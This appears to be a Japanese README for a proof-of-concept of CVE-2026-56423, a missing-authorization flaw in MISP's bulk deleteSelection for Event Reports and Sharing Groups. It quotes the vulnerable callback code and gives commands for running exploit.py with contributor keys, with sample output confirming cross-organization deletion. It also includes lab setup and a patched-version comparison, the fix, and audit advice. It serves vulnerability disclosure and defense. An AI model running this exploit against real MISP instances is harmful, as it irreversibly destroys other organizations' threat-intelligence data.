
CVE-2026-56423のPoC: MISPのdeleteSelectionにおけるアクセス制御の破綻(CWE-862、コントリビューターが他組織のイベントレポート/共有グループを強制削除、CVSS 8.8)
deleteSelection の不適切なアクセス制御MISPの一括削除機能(Event Reports および Sharing Groups)における認可欠落の欠陥に関する概念実証。
deleteSelection ハンドラは、選択された各アイテムをコールバックで認可しますが、そのコールバックはアイテムを無視し、呼び出し元の グローバルロール権限(perm_add / perm_sharing_group)を返すため、オブジェクトごとの所有権チェックが行われません。その結果、低権限の contributor(デフォルトの "User" ロール)は、任意の組織 に属するレポートの ID/UUID を送信し、それらをインスタンス全体で完全削除できます。一方、正しく保護されたオブジェクト単位の delete アクションは、同じリクエストを拒否します。
| CVE | CVE-2026-56423 |
| 製品 | MISP(マルウェア情報共有プラットフォーム)コア |
| 影響を受けるバージョン | MISP CE/EE ≤ 2.5.41 |
| 修正バージョン | 2.5.42 |
| 脆弱性クラス | CWE-862 — 認可欠落(壊れたオブジェクトレベルのアクセス制御) |
| CVSS 3.1 | 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) |
| 認証 | 認証済み、低権限(perm_add を持つ任意のロール、例: "User") |
| 公開日 | 2026-06-22 |
| ステータス | 確認済み — 2.5.40 では contributor が他組織のレポートを削除可能、2.5.42 では拒否 |
app/Controller/EventReportsController.php (tag v2.5.40):
public function deleteSelection($id = null)
{
return $this->CRUD->deleteSelection($id, [
'modelName' => 'EventReport',
...
'checkModifyCallback' => function($itemId) {
return $this->userRole['perm_add']; // ignores $itemId → global role bool
},
]);
}
CRUDComponent::deleteSelection は、この checkModifyCallback を選択されたすべての ID に対して呼び出し、true を返すたびにオブジェクトを削除します。
$canModify = call_user_func($options['checkModifyCallback'], $itemId, $item);
if (!$canModify) { $fails[] = $cid; continue; }
if ($Model->delete($itemId)) { $successes[] = $cid; }
コールバックが $this->userRole['perm_add'] を返すため(これは デフォルトの "User" ロールでは true となるグローバルブール値)、ターゲットレポートの所有権は決してチェックされません。対照的に、単一オブジェクトの delete($id) アクションは、正しく EventReport::fetchIfAuthorized($this->Auth->user(), $id, 'delete') を呼び出し、他組織のレポートを拒否します。
SharingGroupsController::deleteSelection も、perm_sharing_group を使用した同様の欠陥があります。
2.5.42 の修正(コミット ada02fa、f99b3f1)では、コールバックをアイテムごとの EventReport::fetchIfAuthorized($user, $itemId, 'delete') に置き換えています。
完全なウォークスルーについては ANALYSIS.md を参照。
perm_add を持つロールのアカウントを保持している。これは組み込みの User ロールであり、複数組織インスタンスの通常の contributor に付与される。MISP.enable_themes = true。deleteSelection アクションは、ACL で AND(theming_enabled, perm_add) によってゲートされており、theming_enabled は MISP.enable_themes 設定にマップされる。この設定は デフォルトでオフ だが、多くのインスタンスで有効にされている通常の UI 機能フラグである(v2 インデックス/リスト UI を支える)。無効の場合、バグのあるコールバックが実行される前に HTTP 403 を返す。python3 exploit.py https://127.0.0.1:443 \
--attacker-key <contributor_authkey> \
--admin-key <admin_authkey_used_only_to_confirm_the_target> \
--report-id <id_of_a_report_owned_by_another_org>
[1] contributor legit delete/2 -> HTTP 404 (DENIED (expected))
[2] contributor deleteSelection [2] -> HTTP 200 {"saved":true,"success":true,"name":"EventReport deleted."...}
[+] CONFIRMED: contributor hard-deleted another org's Event Report via deleteSelection
cd lab
./setup.sh # MISP core v2.5.40 + attacker org + contributor + victim report
source /tmp/misp_poc.env
python3 ../exploit.py https://127.0.0.1:443 \
--attacker-key "$CONTRIB_KEY" --admin-key "$ADMIN_KEY" --report-id "$VICTIM_REPORT_ID"
# patched build denies the same request:
CORE_RUNNING_TAG=v2.5.42 ./setup.sh
./teardown.sh
| リクエスト(低権限 contributor、他組織のレポート) | v2.5.40 | v2.5.42 |
|---|---|---|
正しく保護された delete/{id} | 404 拒否 | 404 拒否 |
同じレポートの deleteSelection | 200 — 完全削除 | 403 — "Could not delete"; レポートはそのまま |
同じリクエストが、修正前後で成功から拒否に変わり、正しく保護されたオブジェクト単位の削除は両方で拒否される。これにより、バグが deleteSelection におけるオブジェクト単位の認可の欠落であり、アカウントの設定ミスではないことが証明される。完全なトランスクリプトは EVIDENCE.txt を参照。
共有MISPインスタンス上の任意の低権限ユーザーが、脅威インテリジェンスイベントに添付された分析者ナラティブである Event Reports や 他の組織 に属する Sharing Groups をインスタンス全体で不可逆的に完全削除できる。これは、CERT、ISAC、SOCが依存する脅威インテリジェンスプラットフォームのテナント間の完全性/可用性の侵害である。
EventReport::fetchIfAuthorized($user, $itemId, 'delete') を適用する。同じパターンが Sharing Groups にも適用される。アクションを実行したユーザーの組織が削除されたオブジェクトの所有組織と異なる EventReports/deleteSelection(および SharingGroups/deleteSelection)リクエストがないか、MISP ログを監査する。
研究およびPoC: Caio Fabrício (@BiiTts)
MIT — LICENSE を参照。